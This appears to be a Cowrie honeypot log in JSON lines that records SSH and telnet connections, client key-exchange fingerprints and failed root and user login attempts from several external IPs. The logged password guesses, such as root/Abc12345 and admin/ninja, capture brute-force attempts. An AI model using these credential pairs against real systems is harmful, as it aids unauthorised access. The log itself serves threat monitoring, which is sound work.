{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:59:25.448179Z","src_ip":"103.15.226.202","session":"44c07be39bc1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc12345","message":"login attempt [root/Abc12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:59:26.171151Z","src_ip":"103.15.226.202","session":"44c07be39bc1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:59:27.414448Z","src_ip":"103.15.226.202","session":"44c07be39bc1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.225.176.238","src_port":33480,"dst_ip":"10.17.0.5","dst_port":22,"session":"f076c56b81d2","protocol":"ssh","message":"New connection: 50.225.176.238:33480 (10.17.0.5:22) [session: f076c56b81d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:59:52.624755Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:59:52.630061Z","src_ip":"50.225.176.238","session":"f076c56b81d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:59:52.647390Z","src_ip":"50.225.176.238","session":"f076c56b81d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"testuser11","message":"login attempt [testuser/testuser11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:59:52.725299Z","src_ip":"50.225.176.238","session":"f076c56b81d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:59:53.744428Z","src_ip":"50.225.176.238","session":"f076c56b81d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":61.05777168273926,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:59:56.679984Z","src_ip":"212.55.149.117","session":"e92929f05a0b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.227","src_port":42464,"dst_ip":"10.17.0.5","dst_port":22,"session":"4222886a31a5","protocol":"ssh","message":"New connection: 198.98.56.227:42464 (10.17.0.5:22) [session: 4222886a31a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:59:56.685650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:59:56.693180Z","src_ip":"198.98.56.227","session":"4222886a31a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:59:56.702550Z","src_ip":"198.98.56.227","session":"4222886a31a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tempuser","password":"temp","message":"login attempt [tempuser/temp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:59:56.778967Z","src_ip":"198.98.56.227","session":"4222886a31a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:59:57.795164Z","src_ip":"198.98.56.227","session":"4222886a31a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.190.215.90","src_port":47696,"dst_ip":"10.17.0.5","dst_port":22,"session":"322ec1935c1c","protocol":"ssh","message":"New connection: 186.190.215.90:47696 (10.17.0.5:22) [session: 322ec1935c1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:00:02.971212Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:00:02.977737Z","src_ip":"186.190.215.90","session":"322ec1935c1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:00:03.085721Z","src_ip":"186.190.215.90","session":"322ec1935c1c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"35:b4:7a:4b:17:2a:95:6d:e7:88:78:5d:27:40:51:36","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCbyJb4pDSoryNNzHIE64k5MZxSX7om4p0xV1lA2fsmBYUSyNhVilfsAXGPbtFE0xg47ck7eTJkapLtuM0niktv/jYhRsvwHsWapB98koE2JqGUomMyaxfE2naHoKp/JFp7p8eadxPAtNlgy0Hhjt1CUagCKjb6ZiqU00y+vC9sYxtTZKCpoVh83g2+7j+h91ZxwCcu2KOpECfzPBO+3ehrEpu9HfhWUlvslBVPqiBoNqgvSDMHoNibIb03LUfKVMr1Wa4BRgCG9g3zP1B8q2ril2yHVIURCwj5SdBH0dlQQ9zOxWt0QydUbaJsP3dUUqNy78p2etIYQcRp4cs//T1r","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 35:b4:7a:4b:17:2a:95:6d:e7:88:78:5d:27:40:51:36","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:00:03.593736Z","src_ip":"186.190.215.90","session":"322ec1935c1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"35:b4:7a:4b:17:2a:95:6d:e7:88:78:5d:27:40:51:36","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCbyJb4pDSoryNNzHIE64k5MZxSX7om4p0xV1lA2fsmBYUSyNhVilfsAXGPbtFE0xg47ck7eTJkapLtuM0niktv/jYhRsvwHsWapB98koE2JqGUomMyaxfE2naHoKp/JFp7p8eadxPAtNlgy0Hhjt1CUagCKjb6ZiqU00y+vC9sYxtTZKCpoVh83g2+7j+h91ZxwCcu2KOpECfzPBO+3ehrEpu9HfhWUlvslBVPqiBoNqgvSDMHoNibIb03LUfKVMr1Wa4BRgCG9g3zP1B8q2ril2yHVIURCwj5SdBH0dlQQ9zOxWt0QydUbaJsP3dUUqNy78p2etIYQcRp4cs//T1r","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:00:03.598682Z","src_ip":"186.190.215.90","session":"322ec1935c1c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4f:20:be:00:98:49:31:e5:98:d9:c6:d7:6c:8c:80:70","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC99Tf3a7/revBLy+rWUqLA5Oq8xLJlptR0UWQthhPo8l4vvg9cbR54k+uYOcMtW7CfLXH4Guc+AyufihGyz7gvw0AoND47yt03sqin5hYDdZQbKQo4sutK35ibOC2Ll9MycKAHqPh6Lj3bVA6IgNT1p9nCVocxPQHVQwjN/v8/JWbL8ku9ebRTy77fIqeJDI+vR74ambySEe4qxqKIn4ARh3BWgS3mvfWsHDr/V/oIDDvuhGEYhMAtzcJ++jR+z363hbuXZdKwTQFxGrAI1jQxnnnDnKu9X+QrhahD2JOo2NRUgzQT/+I0c96Yt6JPt0KsctkmeSwx9FJUpXssY1pz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4f:20:be:00:98:49:31:e5:98:d9:c6:d7:6c:8c:80:70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:00:03.707599Z","src_ip":"186.190.215.90","session":"322ec1935c1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4f:20:be:00:98:49:31:e5:98:d9:c6:d7:6c:8c:80:70","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC99Tf3a7/revBLy+rWUqLA5Oq8xLJlptR0UWQthhPo8l4vvg9cbR54k+uYOcMtW7CfLXH4Guc+AyufihGyz7gvw0AoND47yt03sqin5hYDdZQbKQo4sutK35ibOC2Ll9MycKAHqPh6Lj3bVA6IgNT1p9nCVocxPQHVQwjN/v8/JWbL8ku9ebRTy77fIqeJDI+vR74ambySEe4qxqKIn4ARh3BWgS3mvfWsHDr/V/oIDDvuhGEYhMAtzcJ++jR+z363hbuXZdKwTQFxGrAI1jQxnnnDnKu9X+QrhahD2JOo2NRUgzQT/+I0c96Yt6JPt0KsctkmeSwx9FJUpXssY1pz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:00:03.713340Z","src_ip":"186.190.215.90","session":"322ec1935c1c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e1:75:15:47:67:7c:3e:67:79:19:79:01:dd:6b:3f:41","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDC1drt5Ror94A2gu76rfsCxOJWQ76OjdSpF0zo0asG3AXCt/BJGX59vkS8hmB12ParoRyLhcQi1ZX5RAJVGLB/6g3BUSgGNVzNFEEBoCCud+6uTt1ep0XPD84NLfbxzXvQrbCBANGmWoyr4nuiwGzAttRBCEU2FoecryfemUIg2FYA4DIStolc/fhGT6Hjn/oedLC3yCZ91oIT3jM8K2jaEzqxPJQ+sKZ3QqqgtwRjdm7bpzzbvjH7jLdDT53o8bpl4TdHP+XDw4ZlTkV2KZJ9IKp+LRNttDcZRtMmHz84j0Ac1lXLZmv1LWAS82vRsyua2LgWm5sIH7AetG3PXoIv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e1:75:15:47:67:7c:3e:67:79:19:79:01:dd:6b:3f:41","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:00:03.842117Z","src_ip":"186.190.215.90","session":"322ec1935c1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e1:75:15:47:67:7c:3e:67:79:19:79:01:dd:6b:3f:41","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDC1drt5Ror94A2gu76rfsCxOJWQ76OjdSpF0zo0asG3AXCt/BJGX59vkS8hmB12ParoRyLhcQi1ZX5RAJVGLB/6g3BUSgGNVzNFEEBoCCud+6uTt1ep0XPD84NLfbxzXvQrbCBANGmWoyr4nuiwGzAttRBCEU2FoecryfemUIg2FYA4DIStolc/fhGT6Hjn/oedLC3yCZ91oIT3jM8K2jaEzqxPJQ+sKZ3QqqgtwRjdm7bpzzbvjH7jLdDT53o8bpl4TdHP+XDw4ZlTkV2KZJ9IKp+LRNttDcZRtMmHz84j0Ac1lXLZmv1LWAS82vRsyua2LgWm5sIH7AetG3PXoIv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:00:03.845916Z","src_ip":"186.190.215.90","session":"322ec1935c1c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"01:9e:ee:56:7f:7d:6e:0d:1b:69:a5:05:81:ab:ef:49","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAxkRekHivO0lVf7AiQX3nT+6a/UWK+WKO9jfMm8x/8PxYg221fef8HcyNPDa3sm2Es+1Q7l8EB+P+8j/iNptFH07VPfBNzZDn4128zfOKh708Xd6ZAa5Kcx2FCZuFjulPgUhfReSaMgYLhev1oqYJbHFsNlalFmd+HAARPnW3cbs=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 01:9e:ee:56:7f:7d:6e:0d:1b:69:a5:05:81:ab:ef:49","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:00:03.955044Z","src_ip":"186.190.215.90","session":"322ec1935c1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"01:9e:ee:56:7f:7d:6e:0d:1b:69:a5:05:81:ab:ef:49","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAxkRekHivO0lVf7AiQX3nT+6a/UWK+WKO9jfMm8x/8PxYg221fef8HcyNPDa3sm2Es+1Q7l8EB+P+8j/iNptFH07VPfBNzZDn4128zfOKh708Xd6ZAa5Kcx2FCZuFjulPgUhfReSaMgYLhev1oqYJbHFsNlalFmd+HAARPnW3cbs=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:00:03.958878Z","src_ip":"186.190.215.90","session":"322ec1935c1c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"66:cd:dc:57:4f:6d:4a:e3:0a:09:a2:f2:f8:78:d7:9e","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAMDmTUGooHU6CopuLZbvuAB0Nm3Sr/PdPoEsGSf31dr+hcbG6QVkU66zJ7ngv0rzjWMz+Qqs0KS+l2yTfbcg37/bb4/d1Tl6RGMHJrV/+MEYJlqWt6nUuShDPeFvpFHT3hhvLpMLso4jLQq9e4XQMS9wbTWzLwZ+2Vgvbs1F/3yXAAAAFQC8N2MijFiblOisw2U8FgWqz1M06wAAAIEAmZ0A79Eza82QtvOKieIGmCxn48ulMfNFLWPn4L45wcFOIoXmYI2nNt7dzTOxn587vgCWl6ksbz7dbUQh8mQgQdjl2YIqcvgJCxg8RXiB/H925pklkNck6VlKPNVW3gUs0aRDgRfOCueHpk/xXOnzsZcA2spJuhQOF4PBm+QbFrEAAACAZZJUMvB0uUcbSwwW30+18AEqZwd3IxJ0VQo9yZ92FJPOkXHvJNBKSoTN4IQ0p2OSKxzeTejK5Z6GgGG6XWmf2f1PgRoO3Y31Ln61Q5Kqw6Bjbl8BDZgsjt+VfCq1+FzWIs/cnp4DHRRsmnLHkhgc+B7qWV1mpoaF70BXcwFpp20=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 66:cd:dc:57:4f:6d:4a:e3:0a:09:a2:f2:f8:78:d7:9e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:00:04.065290Z","src_ip":"186.190.215.90","session":"322ec1935c1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"66:cd:dc:57:4f:6d:4a:e3:0a:09:a2:f2:f8:78:d7:9e","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAMDmTUGooHU6CopuLZbvuAB0Nm3Sr/PdPoEsGSf31dr+hcbG6QVkU66zJ7ngv0rzjWMz+Qqs0KS+l2yTfbcg37/bb4/d1Tl6RGMHJrV/+MEYJlqWt6nUuShDPeFvpFHT3hhvLpMLso4jLQq9e4XQMS9wbTWzLwZ+2Vgvbs1F/3yXAAAAFQC8N2MijFiblOisw2U8FgWqz1M06wAAAIEAmZ0A79Eza82QtvOKieIGmCxn48ulMfNFLWPn4L45wcFOIoXmYI2nNt7dzTOxn587vgCWl6ksbz7dbUQh8mQgQdjl2YIqcvgJCxg8RXiB/H925pklkNck6VlKPNVW3gUs0aRDgRfOCueHpk/xXOnzsZcA2spJuhQOF4PBm+QbFrEAAACAZZJUMvB0uUcbSwwW30+18AEqZwd3IxJ0VQo9yZ92FJPOkXHvJNBKSoTN4IQ0p2OSKxzeTejK5Z6GgGG6XWmf2f1PgRoO3Y31Ln61Q5Kqw6Bjbl8BDZgsjt+VfCq1+FzWIs/cnp4DHRRsmnLHkhgc+B7qWV1mpoaF70BXcwFpp20=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:00:04.069128Z","src_ip":"186.190.215.90","session":"322ec1935c1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:00:04.181824Z","src_ip":"186.190.215.90","session":"322ec1935c1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":22924,"dst_ip":"10.17.0.5","dst_port":23,"session":"3fcbb673fd5e","protocol":"telnet","message":"New connection: 212.55.149.117:22924 (10.17.0.5:23) [session: 3fcbb673fd5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:00:39.635274Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.227","src_port":58858,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e3c0c9a633d","protocol":"ssh","message":"New connection: 198.98.56.227:58858 (10.17.0.5:22) [session: 1e3c0c9a633d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:00:41.748480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:00:41.753888Z","src_ip":"198.98.56.227","session":"1e3c0c9a633d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:00:41.770308Z","src_ip":"198.98.56.227","session":"1e3c0c9a633d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"ninja","message":"login attempt [admin/ninja] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:00:41.840370Z","src_ip":"198.98.56.227","session":"1e3c0c9a633d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:00:42.866810Z","src_ip":"198.98.56.227","session":"1e3c0c9a633d","protocol":"ssh"}
